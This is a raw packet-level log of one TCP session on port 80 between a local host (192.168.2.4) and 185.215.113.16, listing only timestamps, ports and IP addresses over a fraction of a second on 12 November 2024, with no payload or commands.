Nov 12, 2024 21:21:45.687810898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687813997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687824011 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687833071 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687844992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687856913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687863111 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687869072 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687875032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687880993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687895060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687901974 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687906027 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687921047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687927961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687935114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687947989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687952995 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687962055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687973976 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687979937 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687992096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687994003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688011885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688019991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688024044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688035965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688049078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688052893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688052893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688060045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688065052 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688074112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688091993 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688093901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688107967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688112020 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688122034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688131094 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688138008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688148975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688153028 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688162088 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688162088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688174009 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688179016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688184977 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688200951 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688206911 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688215017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688227892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688235044 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688246012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688256979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688262939 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688268900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688277006 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688281059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688287973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688293934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688299894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688301086 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688307047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688313007 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688319921 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688330889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688342094 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688358068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688360929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688370943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688374996 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688385963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688397884 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688405037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688416958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688419104 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688427925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688440084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688445091 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688451052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688463926 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688467979 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688476086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688488007 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688499928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688502073 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688512087 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688518047 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688525915 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688538074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688544035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688549995 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688556910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688565016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688577890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688591003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688616037 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688709021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688734055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688740015 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688746929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688764095 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688767910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688780069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688780069 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688792944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688796997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688805103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688810110 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688817978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688824892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688831091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688842058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688844919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688860893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688865900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688878059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688885927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688889980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688901901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688909054 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688914061 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688926935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688939095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688942909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688950062 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688966990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688972950 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688980103 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.688983917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.688997030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689004898 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689008951 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689022064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689026117 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689033985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689045906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689049006 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689059973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689073086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689074993 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689084053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689095020 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689095974 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689110041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689114094 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689124107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689135075 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689138889 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689146996 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689158916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689162970 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689172029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689183950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689188004 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689196110 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689207077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689209938 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689220905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689227104 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689234972 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689246893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.689251900 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689270973 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.689291954 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.691451073 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.694045067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694057941 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694068909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694125891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694138050 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694156885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694205046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694207907 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.694207907 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.694207907 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.694219112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694231987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694242001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694247961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.694278002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.694298983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694318056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694330931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694341898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694344997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.694376945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694384098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.694389105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694401026 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.694401979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694416046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.694437981 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.694449902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694459915 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694469929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694480896 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.694493055 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.694520950 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.695080042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.695128918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.695174932 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.696074009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.696867943 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.734630108 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.734641075 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.734652996 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.734684944 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.734702110 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.734716892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.734724998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.734741926 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.734783888 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.779746056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.779766083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.779777050 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.779799938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.779810905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.779822111 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.779820919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.779849052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.779855967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.779855967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.779860973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.779869080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.779879093 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.779903889 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.779942989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.779989004 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780004978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780016899 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780050039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780065060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780093908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780106068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780116081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780127048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780141115 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780164003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780241966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780303955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780317068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780329943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780342102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780349970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780366898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780368090 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780368090 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780379057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780388117 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780392885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780405998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780407906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780420065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780464888 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780533075 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780575991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780580044 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780587912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780611992 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780623913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780694008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780725956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780736923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780757904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780786037 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780807972 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780818939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780831099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780842066 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780853033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780855894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780869961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780894995 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.780920982 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780977011 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.780988932 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781001091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781018019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781029940 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781133890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781145096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781156063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781172991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781176090 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781187057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781193018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781203032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781203032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781217098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781228065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781229973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781238079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781243086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781254053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781260014 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781265974 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781270027 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781279087 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781286001 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781291008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781303883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781310081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781316996 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781346083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781522036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781539917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781553030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781563044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781574965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781579971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781596899 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781610966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781631947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781644106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781658888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781668901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781680107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781682014 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781696081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781707048 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781709909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781719923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781723022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781738043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781739950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781749010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781753063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781769991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781780005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781800032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.781934023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781945944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781958103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781970024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.781986952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.782011032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.782017946 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.782025099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.782037973 CET	80	49762	185.215.113.16	192.168.2.4
